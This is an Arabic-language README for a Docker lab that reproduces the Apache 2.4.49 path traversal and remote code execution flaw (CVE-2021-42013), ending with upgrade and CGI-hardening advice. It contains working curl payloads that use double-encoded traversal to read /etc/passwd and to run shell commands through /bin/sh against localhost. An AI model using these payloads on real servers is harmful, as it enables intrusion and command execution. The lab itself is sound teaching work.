
عمل مخبري لتوضيح ثغرة Apache HTTP Server 2.4.49 (CVE-2021-42013) في بيئة Docker.
في هذا المشروع، قمت بتوضيح الثغرة الأمنية CVE-2021-42013 الموجودة في إصدار Apache HTTP Server 2.4.49 داخل بيئة مختبرية أنشأتها باستخدام Docker.
الهدف هو دراسة كيفية نشوء الثغرة، وكيفية عملها، وتأثيراتها على النظام في بيئة خاضعة للتحكم.
أُعدّ هذا العمل لأغراض تعليمية ومخبرية فقط.
.
├── Dockerfile
├── index.html
└── README.md
قبل تشغيل المشروع، يجب تثبيت ما يلي.
أولاً، قم بتنزيل المستودع (repository) إلى جهازك.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
ادخل إلى المجلد.
cd apache-cve-2021-42013-lab
أنشئ صورة Docker.
docker build -t apache-2.4.49-src .
شغّل الحاوية (Container).
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
ادخل إلى داخل الحاوية.
docker exec -it apache-src /bin/bash
تحقق من إصدار Apache.
/usr/local/apache2/bin/httpd -v
للخروج من الحاوية:
exit
يمكنك التحقق مما إذا كانت وحدة CGI مفعّلة باستخدام الأمر التالي.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
ثم أعد تشغيل Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
لتعطيل وحدة CGI:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
لعرض مزيد من معلومات النظام:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
بعد اكتمال التثبيت:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
لإظهار سيناريو تنفيذ الأكواد عن بُعد (RCE)، يجب تفعيل وحدة mod_cgi.
يُنصح بترقية Apache HTTP Server إلى الإصدار 2.4.51 أو إصدار أحدث لمعالجة هذه الثغرة. كما يُوصى بتعطيل CGI إذا لم يكن مستخدمًا، وتحديد صلاحيات الوصول المناسبة للأدلة الضرورية فقط.